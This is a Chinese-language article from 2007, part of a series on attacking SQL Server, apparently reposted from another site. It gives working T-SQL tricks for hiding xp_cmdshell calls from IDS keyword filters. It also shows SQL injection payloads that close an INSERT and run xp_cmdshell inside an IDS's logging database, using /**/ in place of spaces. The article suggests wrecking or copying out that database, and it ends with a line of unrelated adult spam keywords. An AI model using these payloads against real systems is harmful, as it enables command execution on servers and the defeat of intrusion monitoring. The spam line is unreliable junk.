SQL Server數據庫的一些攻擊(4)
發表于:2007-05-25來源:作者:點擊數:
標簽:
利用t- sql 騙過ids或攻擊ids 現在的ids已經變得越來越聰明了 有的ids加入了xp_cmdshell sp_addlogin 的監視 。 但是畢竟人工智能沒有出現的今天,這種監視總是有種騙人的感覺 先說說欺騙ids: ids既然監視xp_cmdshell關鍵字,那么我們可以這么做 declare @a
利用t-
sql騙過ids或攻擊ids
現在的ids已經變得越來越聰明了
有的ids加入了xp_cmdshell sp_addlogin 的監視 。
但是畢竟人工智能沒有出現的今天,這種監視總是有種騙人的感覺
先說說欺騙ids:
ids既然監視xp_cmdshell關鍵字,那么我們可以這么做
declare @a sysname set @a="xp_"+"cmdshell" exec
@a 'dir c:\'
這個代碼相信大家都能看明白,還有xp_cmdshell作為一個store procedure在master庫內有一個id號,固定的,我們也可以這么做
假設這個id=988456
declare @a sysname select @a=name from sysobjects where id=988456
exec @a 'dir c:\'
當然也可以
declare @a sysname select @a=name from sysobjects where id=988455+1
exec @a 'dir c:\'
這種做法排列組合,ids根本不可能做的到完全監視
同理,sp_addlogin也可以這么做
再說說攻擊ids:
因為ids數據量很大,日至通常備份到常規
數據庫,比如sql server
如果用古老的recordset.addnew做法,會嚴重影響ids的
性能,因為通過ado做t-sql請求,不但效率高,而且有一部分工作可以交給sql
server 去做
通常程序會這么寫ues ('日至內容',…)
那么我么想想看,如果用
temp') exec xp_cmdshell 'dir c:\' --
提交后會變成
insert table values ('日至內容'….'temp') exec xp_cmdshell 'dir c:\' --
')
這樣,xp_cmdshell就可以在ids的數據庫運行了 :)
當然ids是一個嗅嘆器,他會抓所有的報,而瀏覽器提交的時候會把空格變成%20
因此,%20會被提交到sql server,這樣你的命令就無法執行了
唯一的辦法就是
insert/**/table/**/values('日至內容'….'temp')/**/exec/**/xp_cmdshell/**/'dir
c:\'/**/-- ')
用/**/代替空格做間隔符,這樣你的t-sql才能在ids的數據庫內執行
當然也可以用其他語句,可以破壞,備份ids的數據庫到你的共享目錄
呵呵
其實這種方法的原理和攻擊asp是一樣的,只是把空格變成了/**/
本來asp是select語句,那么用'就可以屏蔽
現在ids用insert語句,那么用')屏蔽
好了,其他很多新的入侵語句大家可以自己慢慢想,最好的
測試工具就是query analyzer了。
原文轉自:http://www.kjueaiud.com
老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月
|